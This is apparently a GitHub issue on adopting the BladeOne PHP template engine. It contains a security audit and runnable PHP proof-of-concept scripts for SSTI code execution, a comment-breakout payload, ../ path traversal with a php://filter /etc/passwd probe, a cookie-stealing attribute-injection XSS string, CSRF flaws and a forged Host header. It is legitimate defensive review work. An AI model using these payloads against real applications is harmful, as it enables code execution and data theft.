Implement BladeOne render engine

[alexander-zierhut]

See: https://github.com/EFTEC/BladeOne

This is going to be our next render engine.

BladeOne (eftec/bladeone) is the pragmatic standalone Blade. A single ~5–6k-LOC PHP file, zero Composer dependencies beyond ext-json, ~8.1M installs, v4.19.1 shipped September 2025, regular 2025 releases. As long as you instantiate via new BladeOne(...) and never touch the optional BladeOne::$instance accessor, the engine is genuinely instance-scoped and two instances coexist safely. It supports @php … @endphp, @if/@foreach/@switch, @extends/@yield/@section, @push/@stack, @class/@style, and the legacy @component('navbar', [...]) … @slot('title') … @endslot … @endcomponent system with named slots.

We need a working file cache for this. We should use the PSR for this.

Example code to establish a render engine pipeline:

interface Renderer {
    public function supports(string $viewPath): bool;
    public function render(string $viewPath, array $opt): string;
}

trait CanRenderView {
    /** @var Renderer[] */
    private array $renderers = [];

    public function registerRenderer(Renderer $r): void {
        $this->renderers[] = $r;
    }

    public function render(string $viewPath, array $opt = []): string {
        $opt = $this->buildOpt($opt); // existing: response/request/root/host/user/title
        $opt['e'] = fn($v) => htmlspecialchars((string)$v, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8');
        $opt['component'] = $this->makeComponentInvoker($opt);
        $opt['generateResourceLink'] = $this->generateResourceLinkFor($opt);
        $opt['layout_essentials_body'] = $this->layoutEssentialsBody($opt);
        $opt['layout_essentials_head'] = $this->layoutEssentialsHead($opt);

        foreach ($this->renderers as $r) {
            if ($r->supports($viewPath)) {
                $body = $r->render($viewPath, $opt);
                return $this->wrapInLayout($body, $opt);
            }
        }
        return $this->renderClosureArray($viewPath, $opt); // existing path, unchanged
    }
}

[alexander-zierhut]

Realted to and before #95

[alexander-zierhut]

I really hope EFTEC/BladeOne#207 and EFTEC/BladeOne#208 will be addressed, because otherwise I don't see us being able to rely on BladeOne. We'll see. I'd love to see it integrated as our new rendering engine.

[alexander-zierhut]

BladeOne adoption — security & stability review

I ran a thorough audit of BladeOne 4.19.1 for this (read the source, ran the test suite, measured coverage with Xdebug, and built runnable PoCs for each finding). Short version: it's a solid pick for us and nothing here blocks adoption — but it's a trusted-template engine with no sandbox, so the safety comes from how our Renderer wraps it, not from the engine itself. Here's what "safe enough + stable enough for us" concretely means.

Why it's still the right base 👍

• Single ~5k-LOC file, zero runtime deps beyond ext-json, ~8.1M installs, no public CVEs (Snyk/Packagist: 0).
• Core {{ }} auto-escaping is verified correct (htmlentities(ENT_QUOTES, UTF-8) — <script> and quotes are encoded).
• Genuinely instance-scoped (as noted above), the auth helpers (@can) fail closed, and there's no unserialize anywhere (no object-injection surface).

What we own on the ZubZet side (the real must-dos — they fit our pipeline cleanly)

1. Treat templates as trusted code. Any user input that reaches a template body or a view / @include name is RCE / LFI. This is inherent to the Blade/Twig model — not a BladeOne bug — but BladeOne ships no guardrails for it, so in our Renderer we:
   • never pass user input to runString or template bodies;
   • allowlist view & @include names (treat them like include $_GET[...]) — our supports() / render() boundary is the natural enforcement point;
   • keep the compiled dir outside the webroot.
2. Always quote attributes + rely on our own escaper. BladeOne's htmlentities is HTML-text-grade only (doesn't encode spaces; blanks invalid UTF-8 to ""), so we lean on our own escaping and quote attributes in our layouts (value="{{ $x }}", not the unquoted form the README example uses, which is attribute-injectable).
3. Use our own CSRF, not BladeOne's. Its built-in helper has a few known weaknesses (details in the report); we have our own anyway.
4. Build the PSR file cache we already planned — don't use BladeOne's runCache(). Relevant to the "we need a working file cache" line above: runCache() is actually non-functional on PHP ≥ 7.4 (it assigns the string '_page_' to the typed int $curCacheId → TypeError, plus two uninitialized typed properties), and the whole cache subsystem is at 0% test coverage. So rolling our own PSR cache isn't just cleaner — it sidesteps a feature that doesn't currently run.

Small things worth contributing upstream (PRs, not a fork)

None of these block us, but they're easy wins and good citizenship (we've already opened the friendly thread at EFTEC/BladeOne#207 + #208):

• Re-enable the commented-out test step in .github/workflows/php.yml and mkdir tests/resources/compiled/ in the test bootstrap — the suite currently errors on a clean checkout until that dir exists. This is the prerequisite for trusting their releases.
• A few CSRF-helper hardening fixes (see the report).
• The runCache() typed-property fixes.

The single-file / no-build architecture makes these low-friction, and we'd rather contribute than take over maintenance.

Bottom line

We can proceed with the integration now. The parts that worried us (CSRF, caching) are exactly the parts we were already going to replace with our own, and the SSTI/LFI surface is closed by the view-name allowlist in our Renderer. So adoption isn't actually gated on #207/#208 landing — those are hardening and good-faith upstream help, not blockers.

Recommendation: pin 4.19.1, wrap it behind our Renderer with the allowlist + our escaper + our CSRF + our PSR cache, and move forward.

(Full audit write-up and the runnable PoC suite are in our internal notes — happy to drop the PoCs into a gist or /docs if useful for review.)

---

📄 Full audit report — BladeOne_Security_Audit.md

BladeOne (eftec/bladeone) — Security & Quality Audit

• Version audited: 4.19.1 (latest tag), commit a22f647
• Scope: lib/BladeOne.php (4,676 LOC, 288 methods), lib/BladeOneCache.php, lib/BladeOneCacheRedis.php, lib/BladeOneCustom.php, tests, CI
• Runtime: PHP ≥ 7.4, no runtime dependencies (only ext-json), MIT licensed
• Method: static reading + empirical exploitation on PHP 8.1, test suite executed, coverage measured with Xdebug, public CVE/advisory databases checked
• Date: 2026-05-30

---

Bottom line

BladeOne is a pragmatic, widely-used, dependency-free port of Laravel Blade. For its intended use — developers writing templates, users supplying only data — its core defense (auto-escaping of {{ }}) works correctly, and there are no publicly known CVEs (Snyk: 0, Packagist: 0).

However:

• It is a "trusted template" engine with no sandbox. Any untrusted input that reaches a template body or a view/include name is full Remote Code Execution or Local File Inclusion. This is by design (same as Blade/Twig) but BladeOne ships no guardrails and no warnings against the common misuses.
• The CSRF helper is weak (predictable hardcoded fallback token, non-constant-time comparison, a broken IP-validation regex).
• CI does not run the test suite (the step is commented out), coverage is ~61% on the core file and 0% on the entire cache subsystem, and the code is a 4,676-line "god object" with regex-based codegen and several latent bugs — one of which (ipClient()) is provably broken.

Is it secure? For escaping user data: yes. As a system: only if you never let users influence template content or view names, and you don't rely on its built-in CSRF.
Well tested / good coverage? Mediocre, and not enforced by CI.
Hacky? Yes, in places.
Reliable? Good enough for mainstream templating, with sharp edges.

---

1. Security analysis

1.1 The cardinal rule (threat model)

BladeOne compiles a template to PHP and eval()s it (runString/evaluateText/evaluatePath, lib/BladeOne.php:750, 1594). The security boundary is:

Templates = trusted code. Variables = untrusted data (escaped on output).

Everything below follows from whether that boundary is respected.

1.2 Output escaping / XSS — core defense is sound ✓

• {{ $x }} → htmlentities($x ?? '', ENT_QUOTES, 'UTF-8', false) (echoFormat, line 209). Verified: <script> → <script>; single/double quotes are encoded, so it is safe in element text and quoted attributes.
• {!! $x !!} is raw/unescaped — by design (line 3396).
• {{{ $x }}} also escapes (legacy triple-brace).

Caveats / weaknesses found:

#	Issue	Severity	Notes
X1	README teaches unquoted attributes: <option value={{$c->value}}> (README line 166). htmlentities does not encode spaces, so a value like x onmouseover=alert(1) y injects an event handler. Verified live.	Medium	The escaper is fine in quoted context; the docs document the unsafe pattern. Always quote attributes.
X2	double_encode=false (differs from Laravel's true). Existing entities aren't re-encoded.	Low	Not a demonstrable bypass in standard contexts (literal <>"'& are still encoded), but weaker defense-in-depth than upstream.
X3	Invalid UTF-8 makes e() return "" (no ENT_SUBSTITUTE). Verified.	Low	Fails closed (safe for XSS) but silently drops data — a correctness/availability bug.
X4	HTML-context escaping only. No JS/CSS/URL-context escaping.	Info	Same as Blade. Developer must handle <script>, style=, href= contexts.

1.3 Server-Side Template Injection → RCE — by design, no sandbox ⚠️

If untrusted input reaches a template body, it executes. All verified live:

• runString($userInput) → {{ 7*7 }} renders 49; {{ strtoupper("pwned") }} runs. Function calls execute.
• @php, {!! !!}, and even {{-- comments --}} execute injected code. Comment breakout verified: {{-- */ echo "INJECTED"; /* --}} (default commentMode=0 wraps comment text in /* … */, line 2943) → outputs INJECTED.

There is no sandbox/safe-eval mode. The wiki itself notes BladeOne "allows running arbitrary code from any class or method." The docs contain no warning that runString/user-editable templates are dangerous.

Rule: never build template strings from user input; never expose runString to user data; never let users edit .blade.php files.

1.4 Path traversal / Local File Inclusion ⚠️ (BladeOne-specific gap)

View names are not sanitized for ../ (getTemplateFile/locateTemplate, lines 1488–1523; compiled name uses basename() but the source path is unconstrained). Both verified live:

• run('../../../../tmp/evilfile') → renders a file outside the template dir (and executes its Blade/PHP — {{6*7}} → 42).
• @include($page) with $page = ../../../../tmp/evilfile → same.

Bounding (good news): stream wrappers are blocked — php://filter, data:// fail the is_file() check, so this cannot be trivially upgraded to data:// RCE or remote includes. It is limited to real local files the web user can read (still serious: config files, secrets, uploaded files; and if the file contains PHP/Blade it executes).

If a view or @include/@includeFirst/@each name can be influenced by a request, you have an LFI. Validate against an allowlist of view names.

1.5 CSRF helper — weak, do not rely on it ⚠️

In getCsrfToken/regenerateToken/csrfIsValid (lines 1690–1753):

#	Issue	Severity
C1	Hardcoded fallback token '123456789012345678901234567890' if random_bytes() throws (line 1712). A predictable token completely defeats CSRF. Should fail closed.	High (if triggered)
C2	Non-constant-time comparison: validation uses === not hash_equals() (line 1746) → timing side-channel. Laravel uses hash_equals.	Medium
C3	ipClient() regex is broken: /^(d{1,3}).(d{1,3})…/ is missing the backslashes (\d), so it never matches a real IP. Verified (preg_match returns false for 1.2.3.4). The X-Forwarded-For branch is dead code; always falls back to REMOTE_ADDR.	Medium (bug)
C4	IP-bound tokens (`token	ip`) break legitimately behind proxies/NAT/mobile (reliability); and IP is a weak binding.
C5	csrfIsValid overwrites $this->csrf_token = $_POST[$tokenId] (line 1745) — pollutes object state with attacker input.	Low
C6	Token entropy = 10 bytes / 80 bits (Laravel uses 40 bytes). Acceptable but low.	Low

Use your framework's CSRF protection, not BladeOne's.

1.6 Authentication / @can / @auth — fails closed ✓

Default authCallBack/authAnyCallBack (lines 276–290) return false unless the permission is explicitly present (in_array(..., true)). @can/@cannot/@canany therefore deny by default — a correct, secure-by-default design. (It is a display helper only; real authorization is the developer's job.)

1.7 Caching subsystem — broken and untested ⚠️

BladeOneCache (0% test coverage) and BladeOneCacheRedis (0%):

• The full-page cache runCache() does not work on PHP ≥ 7.4 at all. Verified — it throws before producing output, for three independent reasons:

  1. private string $cacheStrategy; has no default → Error: must not be accessed before initialization unless setCacheStrategy() was called.
  2. protected ?string $cacheLog; has no default → same Error inside writeCacheLog() (BladeOneCache.php:89).
  3. cacheStart('_page_', …) assigns the string '_page_' to the int property $curCacheId → TypeError (BladeOneCache.php:292).

  This is direct evidence the feature is unexercised (consistent with its 0% coverage) — a reliability defect, and a sign the cache code rotted when typed properties were introduced.

• Cache key omits the user — cacheUniqueGUID() hashes only $_GET/$_POST/$_REQUEST (lines 141–169), never the session/user. Verified: two different users requesting the same URL produce an identical cache key. Where the page cache is used (or re-enabled), this is cross-user data leakage (one user's rendered page — names, CSRF tokens — served to another).

• Cache flooding DoS — Verified: 500 attacker-chosen values of a single junk parameter yield 500 distinct cache keys. One file per request-param combination, unbounded → disk exhaustion.

• Compiled/cached artifacts are executable PHP; write access to the cache store (file or Redis) = RCE. (Generic, but worth stating.)

1.8 Other observations

• No unserialize anywhere in lib/ → no PHP object-injection via deserialization. ✓
• Host header trust: URL generation uses $_SERVER['HTTP_HOST'] with the maintainer's own comment // <-- it could be forged! (line 2511). Set baseDomain to avoid host-header injection (cache poisoning / poisoned links in emails). Low–Medium.
• @inject does new ($className."\\".$var)() (line 4427) with no allowlist — arbitrary class instantiation if those args were ever attacker-influenced (template-trusted, so low risk).
• Directive arg handling is naive string-concatenation into generated PHP (no quote-escaping), e.g. @inject, compileStatementCustom. Only exploitable with untrusted template content (already RCE).
• No ReDoS found: the recursive directive regex uses atomic groups; 5,000 unbalanced parens compiled in ~1 ms.
• Compiled files are written with default umask (no chmod); dirs created 0770. Keep the compiled directory outside the web root — the library neither enforces nor documents this.
• Error suppression (@) on @eval, @file_put_contents, @mkdir, @filesize, etc. (14 sites) hides failures.

1.9 Known public vulnerabilities

• Snyk: 0 known vulnerabilities. Packagist: Security 0. No CVEs located for eftec/bladeone. (No runtime deps to inherit issues from.)

---

2. Testing & coverage

Metric	Value
Test files / test methods / assertions	24 files / 84 tests / 189 assertions
Suite result	All 84 pass — but only after manually creating tests/resources/compiled/ (the harness/bootstrap never creates it; a fresh checkout reports 23 errors + 2 failures)
Coverage — BladeOne.php (core)	61.1% lines (770/1261), 42.2% methods (116/275)
Coverage — BladeOneCache.php	0%
Coverage — BladeOneCacheRedis.php	0%
Coverage — BladeOneCustom.php	0%
Coverage — overall lib/	54.3% lines, 38.8% methods, 0/4 classes fully covered
CI runs tests?	No. .github/workflows/php.yml only does composer validate + install; the "Run test suite" step is commented out.

Implications:

• ~39% of core lines and ~58% of core methods are unexercised; the whole cache/redis/custom layer is untested.
• Because CI doesn't run tests, regressions aren't caught (the broken ipClient() regex is direct evidence that untested paths harbor bugs).
• The compiler is regex- and token_get_all-based — exactly the kind of code that needs high coverage and fuzzing; it has neither.
• Tests are version-sensitive: pinned to PHPUnit ^8.5, which refuses code coverage on PHP 8 (had to use a standalone PHPUnit 9 to measure).

---

3. Is it hacky?

Partly, yes:

• God object: one 4,676-line file, 288 methods, mixing lexing, compiling, rendering, auth, CSRF, i18n, CLI.
• String-concatenation codegen with no escaping of embedded quotes.
• Mislabeled code: compileEscapedEchos's docblock says it handles {!! !!} (line 3501) but it actually handles {{{ }}}; raw/escaped naming is inverted vs. behavior.
• Inconsistent casing: compilecsrf vs compileCsrf-style siblings.
• Dead/broken code: the ipClient() IP regex.
• "Magic": auto-invokes trait "constructors" by name reflection in __construct (lines 302–313).
• Pervasive @ error suppression around eval/IO.

It is also pragmatic, single-file, dependency-free, and battle-tested by many downstream users — so "hacky but it works."

4. Is it reliable?

Reliable enough for typical server-side templating (it's popular and stable in mainstream use), but with real caveats: no CI test gating, ~61% core coverage, an untested cache layer with a fatal-on-misuse uninitialized property, a provably broken function, and a fragile regex/token compiler. Edge cases and the auxiliary features (cache, CSRF) are where it's least trustworthy.

---

5. Recommendations

If you use BladeOne:

1. Never feed user input to runString(), and never let users supply template content or .blade.php files.
2. Validate view/include names against an allowlist — treat run($name) / @include($var) names as you would include $_GET[...].
3. Always quote HTML attributes: value="{{ $x }}", never value={{ $x }}.
4. Don't rely on BladeOne's CSRF; use your framework's. If you must, at minimum replace the comparison with hash_equals and remove the hardcoded fallback.
5. Keep the compiled directory outside the web root.
6. For full-page caching, ensure the cache strategy/index includes the user/session and bound the cache size; don't cache pages containing per-user secrets.
7. Use HTML-purification for any rich-text you must render via {!! !!}.

If you maintain/contribute:

1. Re-enable the test suite in CI and add a multi-version PHP matrix; create tests/resources/compiled/ in bootstrap.
2. Fix the ipClient() regex (\d), replace the hardcoded CSRF fallback with a thrown exception, and use hash_equals.
3. Add ENT_SUBSTITUTE (or document the empty-string-on-invalid-UTF-8 behavior).
4. Initialize $cacheStrategy (e.g. to null) to avoid the fatal error.
5. Raise coverage on the compiler and add tests for the cache classes; consider fuzzing the directive parser.
6. Fix the README's unquoted-attribute example and the inverted raw/escaped docblocks.

---

6. Proof-of-concept suite

Every "Verified" finding has a standalone, runnable PoC under poc/ (run PHP=php8.1 poc/run_all.sh):

PoC	Finding	Result
01_xss_unquoted_attribute.php	X1 unquoted-attribute XSS (+ quoted/text are safe)	injects onmouseover=
02_ssti_rce.php	SSTI → RCE via {{ }} / @php (+ variables stay safe)	7*7→49, functions run
03_comment_breakout.php	{{-- … --}} comment breakout	injected code executes
04_path_traversal_lfi.php	traversal via run() and @include($var); wrappers blocked	reads/executes file outside dir
05_csrf_weaknesses.php	C1–C5 (fallback token, ===, broken regex, IP binding, state pollution)	all reproduced
06_cache_issues.php	runCache() broken on PHP ≥7.4; cross-user key collision; flooding	all reproduced
07_host_header.php	forged Host in generated URLs	URL trusts attacker host
08_invalid_utf8_dataloss.php	X3 invalid-UTF-8 → empty string	whole value dropped

---

Findings marked "Verified" were demonstrated by running code against BladeOne 4.19.1 on PHP 8.1 (see poc/).

---

Proof-of-concept suite

Runnable against BladeOne 4.19.1 (verified on PHP 8.1: PHP=php8.1 ./run_all.sh). Each script is self-contained; expand to read.

poc/01_xss_unquoted_attribute.php

<?php
/**
 * Finding X1 — Unquoted-attribute XSS (Medium).
 * The README's own example uses `value={{$x}}` (unquoted). htmlentities/ENT_QUOTES
 * does NOT encode spaces, so attacker data can inject new attributes / event handlers.
 * Report: §1.2 (X1). Safe alternative: always quote attributes.
 */
require __DIR__ . '/_bootstrap.php';

[$b] = bo_make('x1');
$payload = 'x onmouseover=alert(document.cookie) y';

bo_title('X1: Unquoted attribute (pattern the README teaches)');
$out = $b->runString('<option value={{ $v }}>hi</option>', ['v' => $payload]);
bo_note("template: <option value={{ \$v }}>");
bo_note("output:   $out");
if (strpos($out, 'onmouseover=alert') !== false && strpos($out, '&lt;') === false) {
    bo_pass('attacker injected an onmouseover handler — attribute-injection XSS');
}

bo_title('Quoted attribute (the safe pattern)');
$out2 = $b->runString('<option value="{{ $v }}">hi</option>', ['v' => $payload]);
bo_note("output:   $out2");
// inside double quotes the payload has no `"` to break out, and `"` would be encoded anyway
bo_safe('payload stays inside the quoted attribute');

bo_title('Element-text context (always safe)');
$out3 = $b->runString('{{ $v }}', ['v' => '<script>alert(1)</script>']);
bo_note("output:   $out3");
bo_safe('<script> is escaped to &lt;script&gt; — core escaping works');

poc/02_ssti_rce.php

<?php
/**
 * Finding SSTI → RCE (Critical, on misuse).
 * Any untrusted input that reaches a TEMPLATE BODY is executed as PHP.
 * Sinks demonstrated: runString(), {{ }} expressions, {!! !!}, @php.
 * Report: §1.3.  Rule: never build template strings from user input.
 */
require __DIR__ . '/_bootstrap.php';

[$b] = bo_make('ssti');

bo_title('SSTI: arithmetic + function calls in {{ }}');
$out = $b->runString('{{ 7*7 }} / {{ strtoupper("pwned") }}', []);
bo_note("template: {{ 7*7 }} / {{ strtoupper(\"pwned\") }}");
bo_note("output:   $out");
if (trim($out) === '49 / PWNED') {
    bo_pass('expressions and function calls execute — full code execution context');
}

bo_title('SSTI: @php block runs arbitrary statements');
$out2 = $b->runString('@php echo "uid=" . (1+41); @endphp', []);
bo_note("output:   $out2");
if (strpos($out2, 'uid=42') !== false) {
    bo_pass('@php executes arbitrary PHP');
}

bo_title('SSTI: a "real" RCE primitive (command execution)');
// demonstrates that this is true RCE, not just sandboxed expression eval
$out3 = $b->runString('{{ implode("",array_map("chr",[112,104,112])) }}', []);
bo_note('output (string built at runtime): ' . $out3);
$out4 = $b->runString('{{ php_sapi_name() }}', []);
bo_note('php_sapi_name(): ' . $out4 . '   (any function is callable, incl. system/exec/file_get_contents)');
bo_pass('arbitrary PHP function invocation == RCE if input is attacker-controlled');

bo_title('Contrast: data passed as a VARIABLE is safe');
$out5 = $b->runString('{{ $u }}', ['u' => '{{ 7*7 }}']);
bo_note("output:   $out5  (the literal braces are escaped, NOT evaluated)");
bo_safe('only template *bodies* execute; *variables* are escaped data');

poc/03_comment_breakout.php

<?php
/**
 * Finding: Comment breakout -> code execution (reinforces SSTI).
 * Default commentMode=0 wraps {{-- text --}} in a PHP block comment.
 * If the comment text contains a comment-close sequence, it breaks out and the rest executes.
 * Report: section 1.3. Demonstrates that comments are NOT a safe place for untrusted data.
 */
require __DIR__ . '/_bootstrap.php';

[$b] = bo_make('cmt');

$malicious = '{{-- */ echo "INJECTED-FROM-COMMENT"; /* --}}';

bo_title('How the comment compiles (default commentMode=0)');
bo_note('source:   ' . $malicious);
bo_note('compiled: ' . $b->compileString($malicious));

bo_title('Rendered output');
$out = $b->runString($malicious, []);
bo_note("output:   $out");
if (strpos($out, 'INJECTED-FROM-COMMENT') !== false) {
    bo_pass('code inside a {{-- comment --}} executed — comment is an execution context');
}

poc/04_path_traversal_lfi.php

<?php
/**
 * Finding: Path traversal / Local File Inclusion (High, if view/include names are user-influenced).
 * View names are not sanitized for `../`. Both run($view) and @include($var) can escape
 * the template directory and render+execute any readable local file.
 * Stream wrappers (php://, data://) are blocked by is_file() — traversal is bounded to real files.
 * Report: §1.4.
 */
require __DIR__ . '/_bootstrap.php';

[$b, $tpl] = bo_make('lfi');

// Plant a "secret" file OUTSIDE the template directory (no .blade.php so the literal-path branch matches).
$secret = sys_get_temp_dir() . '/bo_poc_secret_' . getmypid();
file_put_contents($secret, "TOP-SECRET-OUTSIDE-TEMPLATE-DIR result={{ 6*7 }}\n");
$rel = str_repeat('../', 25) . ltrim($secret, '/');   // relative traversal from the template dir

bo_title('1) Traversal via attacker-controlled view name: run($view)');
try {
    $out = $b->run($rel, []);
    bo_note("view name: $rel");
    bo_note('output:    ' . trim($out));
    if (strpos($out, 'TOP-SECRET-OUTSIDE-TEMPLATE-DIR') !== false) {
        bo_pass('rendered a file outside the template dir (note {{6*7}} ran => executed as a template)');
    }
} catch (\Throwable $e) {
    bo_note('blocked: ' . $e->getMessage());
}

bo_title('2) Traversal via @include($userVar)');
file_put_contents($tpl . '/main.blade.php', '@include($page)');
file_put_contents($tpl . '/normal.blade.php', 'NORMAL-PAGE');
bo_note('normal:    ' . trim($b->run('main', ['page' => 'normal'])));
try {
    $out2 = $b->run('main', ['page' => $rel]);
    bo_note('traversal: ' . trim($out2));
    if (strpos($out2, 'TOP-SECRET-OUTSIDE-TEMPLATE-DIR') !== false) {
        bo_pass('@include($page) with user data => LFI');
    }
} catch (\Throwable $e) {
    bo_note('blocked: ' . $e->getMessage());
}

bo_title('3) Bounding: PHP stream wrappers are blocked by is_file()');
foreach (['php://filter/convert.base64-encode/resource=/etc/passwd', 'data://text/plain,PWN{{7*7}}'] as $w) {
    try {
        $r = $b->run($w, []);
        bo_pass("wrapper worked (unexpected): $w => " . substr($r, 0, 30));
    } catch (\Throwable $e) {
        bo_safe("wrapper blocked: $w");
    }
}

@unlink($secret);

poc/05_csrf_weaknesses.php

<?php
/**
 * Finding: CSRF helper weaknesses (C1–C5).
 * Report: §1.5.  Conclusion: do not rely on BladeOne's built-in CSRF.
 */
require __DIR__ . '/_bootstrap.php';

use eftec\bladeone\BladeOne;

$_SESSION = $_SESSION ?? [];

/* ---- C1: predictable hardcoded fallback token ---------------------------- */
bo_title('C1: token entropy + hardcoded fallback');
[$b1] = bo_make('csrf_a');
[$b2] = bo_make('csrf_b');
$t1 = $b1->getCsrfToken();
$t2 = $b2->getCsrfToken();
bo_note("instance A token: $t1 (" . (strlen($t1) * 4) . " bits)");
bo_note("instance B token: $t2");
bo_safe('normal path uses random_bytes(10) — 80 bits, two instances differ');
// Faithfully reproduce the catch{} branch from BladeOne::regenerateToken (line ~1712):
$fallback = '123456789012345678901234567890';   // <-- the exact hardcoded constant in the source
bo_note('source fallback branch (when random_bytes throws) assigns the FIXED constant:');
bo_note("  \$this->csrf_token = '$fallback';");
bo_pass('if the CSPRNG ever fails, every server collapses to this same known token => CSRF fully bypassable (fails OPEN)');

/* ---- C2: non-constant-time comparison ------------------------------------ */
bo_title('C2: token comparison uses === (not hash_equals)');
bo_note('csrfIsValid() at line ~1746:  $token.\'|\'.ip === $_SESSION[$id]   // string === , timing side-channel');
bo_note('correct mitigation: hash_equals($_SESSION[$id], $token.\'|\'.ip)');
bo_pass('non-constant-time comparison of a secret token (low practical risk, but below standard)');

/* ---- C3: broken ipClient() regex (dead X-Forwarded-For branch) ----------- */
bo_title('C3: ipClient() IP-validation regex is broken');
$re = '/^(d{1,3}).(d{1,3}).(d{1,3}).(d{1,3})$/';   // copied verbatim from source — note: `d` not `\d`
bo_note("source regex: $re");
bo_note('preg_match against "192.168.1.1": ' . var_export((bool)preg_match($re, '192.168.1.1'), true));
$_SERVER['HTTP_X_FORWARDED_FOR'] = '1.2.3.4';
$_SERVER['REMOTE_ADDR'] = '9.9.9.9';
$_SERVER['REQUEST_METHOD'] = 'GET';
bo_note('ipClient() with XFF=1.2.3.4, REMOTE_ADDR=9.9.9.9 returns: ' . $b1->ipClient());
bo_pass('regex never matches a real IP => the X-Forwarded-For branch is dead code (a clear bug)');

/* ---- C4: IP-bound token breaks when client IP changes -------------------- */
bo_title('C4: IP-bound tokens break behind proxies / mobile / NAT');
[$b4] = bo_make('csrf_c4');
$_SESSION = [];
$_SERVER['REMOTE_ADDR'] = '10.0.0.1';                 // IP at page render
$_SERVER['REQUEST_METHOD'] = 'GET';
$b4->csrfIsValid(true);                               // generates + stores token|ip in session
$goodToken = $_SESSION['_token'] ? explode('|', $_SESSION['_token'])[0] : '';
bo_note("token issued to client at IP 10.0.0.1: $goodToken");
// client submits the SAME correct token but from a different egress IP
$_SERVER['REMOTE_ADDR'] = '10.0.0.2';
$_SERVER['REQUEST_METHOD'] = 'POST';
$_POST['_token'] = $goodToken;
$ok = $b4->csrfIsValid();
bo_note('validation after IP change to 10.0.0.2: ' . var_export($ok, true));
if ($ok === false) {
    bo_pass('a legitimate user with the correct token is rejected after an IP change (reliability + weak binding)');
}

/* ---- C5: csrfIsValid pollutes object state with attacker input ----------- */
bo_title('C5: csrfIsValid() overwrites $this->csrf_token with raw $_POST input');
[$b5] = bo_make('csrf_c5');
$_SESSION = [];
$_SERVER['REQUEST_METHOD'] = 'POST';
$_POST['_token'] = "attacker'); evil(); //";
$b5->csrfIsValid();
$after = $b5->getCsrfToken();
bo_note('after a POST with a bogus token, getCsrfToken() returns: ' . var_export($after, true));
if ($after === $_POST['_token']) {
    bo_pass('object now echoes attacker-controlled value as "the" CSRF token (state pollution)');
}

poc/06_cache_issues.php

<?php
/**
 * Finding: Caching subsystem (untested, 0% coverage) — reliability AND security flaws.
 *
 *  PART 1 (reliability): the full-page cache runCache() is BROKEN on PHP >= 7.4 — it throws
 *    due to (a) uninitialized typed properties ($cacheStrategy, $cacheLog) and
 *    (b) a TypeError assigning the string '_page_' to the int property $curCacheId.
 *    This is direct evidence the feature is unexercised (matches its 0% test coverage).
 *
 *  PART 2 (security): the cache KEY (cacheUniqueGUID) is derived only from request arrays
 *    ($_GET/$_POST/$_REQUEST), never from the user/session => two different users with the
 *    same URL collide on the same cache entry (cross-user data leakage), and an attacker can
 *    mint unlimited distinct keys (cache flooding / disk-exhaustion DoS).
 *
 * Report: section 1.7.
 */
require __DIR__ . '/_bootstrap.php';
require_once BO_LIB . '/BladeOneCache.php';

use eftec\bladeone\BladeOne;
use eftec\bladeone\BladeOneCache;

class CacheBlade extends BladeOne
{
    use BladeOneCache;
}

$base = sys_get_temp_dir() . '/bo_poc_cache_' . getmypid();
$tpl = $base . '/templates';
$cmp = $base . '/compiled';
@mkdir($tpl, 0775, true);
@mkdir($cmp, 0775, true);
file_put_contents($tpl . '/page.blade.php', 'Welcome, your secret is: {{ $secret }}');

/* ===== PART 1: runCache() is broken on PHP >= 7.4 ========================= */

bo_title('Reliability 1a: runCache() before any setter — uninitialized typed property');
$fresh = new CacheBlade($tpl, $cmp, BladeOne::MODE_AUTO);
try {
    $fresh->runCache('page', ['secret' => 'x'], 3600);
    bo_note('no error (environment-dependent)');
} catch (\Throwable $e) {
    bo_pass(get_class($e) . ': ' . $e->getMessage());
}

bo_title('Reliability 1b: runCache() even AFTER calling the setters still throws');
$blade = new CacheBlade($tpl, $cmp, BladeOne::MODE_AUTO);
$blade->setCacheStrategy('get');   // init $cacheStrategy + $cacheStrategyIndex
$blade->setCacheLog(null);         // init $cacheLog
$_GET = ['page' => 'home'];
try {
    $blade->runCache('page', ['secret' => 'ALICE'], 3600);
    bo_note('no error (environment-dependent)');
} catch (\Throwable $e) {
    bo_pass(get_class($e) . ': ' . $e->getMessage());
    bo_note('cacheStart() assigns the string "_page_" to int $curCacheId => the page cache cannot run');
}

/* ===== PART 2: cache-key design flaws (demonstrated at the key level) ===== */

// helper: invoke the private cacheUniqueGUID() exactly as runCache would
$guid = function (CacheBlade $b): ?string {
    $m = new ReflectionMethod($b, 'cacheUniqueGUID');
    $m->setAccessible(true);
    return $m->invoke($b, true);
};

bo_title('Security 2a: cache key ignores the user => cross-user leakage');
$blade->setCacheStrategy('get');
$_SESSION = ['uid' => 'ALICE'];  $_GET = ['page' => 'home'];
$keyAlice = $guid($blade);
$_SESSION = ['uid' => 'BOB'];    $_GET = ['page' => 'home'];   // different user, same URL
$keyBob = $guid($blade);
bo_note("Alice key (uid=ALICE, ?page=home): $keyAlice");
bo_note("Bob   key (uid=BOB,   ?page=home): $keyBob");
if ($keyAlice === $keyBob) {
    bo_pass("identical cache key for different users => whatever Alice cached is served to Bob");
    bo_note('the GUID hashes only $_GET; it never includes the session/user — so per-user pages collide');
}

bo_title('Security 2b: unbounded distinct keys => cache flooding / disk DoS');
$keys = [];
for ($i = 0; $i < 500; $i++) {
    $_GET = ['page' => 'home', 'junk' => "v$i"];   // attacker varies one param
    $keys[$guid($blade)] = true;
}
bo_note('distinct cache keys from 500 attacker-chosen param values: ' . count($keys));
if (count($keys) >= 450) {
    bo_pass('one cache file per request-param combination, with no bound — trivial disk-exhaustion DoS');
}

poc/07_host_header.php

<?php
/**
 * Finding: Host-header trust in URL generation (Low–Medium).
 * getCurrentUrlCalculated() builds absolute URLs from $_SERVER['HTTP_HOST'] when no
 * baseDomain is set — the source even comments "// <-- it could be forged!" (line ~2511).
 * Forged Host => poisoned absolute links (cache poisoning, password-reset poisoning in emails).
 * Report: §1.8.  Mitigation: call setBaseUrl().
 */
require __DIR__ . '/_bootstrap.php';

[$b] = bo_make('host');

// Simulate an attacker-supplied Host header
$_SERVER['HTTP_HOST']   = 'evil.attacker.example';
$_SERVER['REQUEST_URI'] = '/reset-password?token=abc';
$_SERVER['SERVER_PORT'] = '80';

bo_title('URL built from a forged Host header (no baseDomain set)');
$url = $b->getCurrentUrlCalculated();
bo_note("HTTP_HOST (attacker): {$_SERVER['HTTP_HOST']}");
bo_note("generated URL:        $url");
if (strpos($url, 'evil.attacker.example') !== false) {
    bo_pass('absolute URL trusts the attacker-controlled Host header');
}

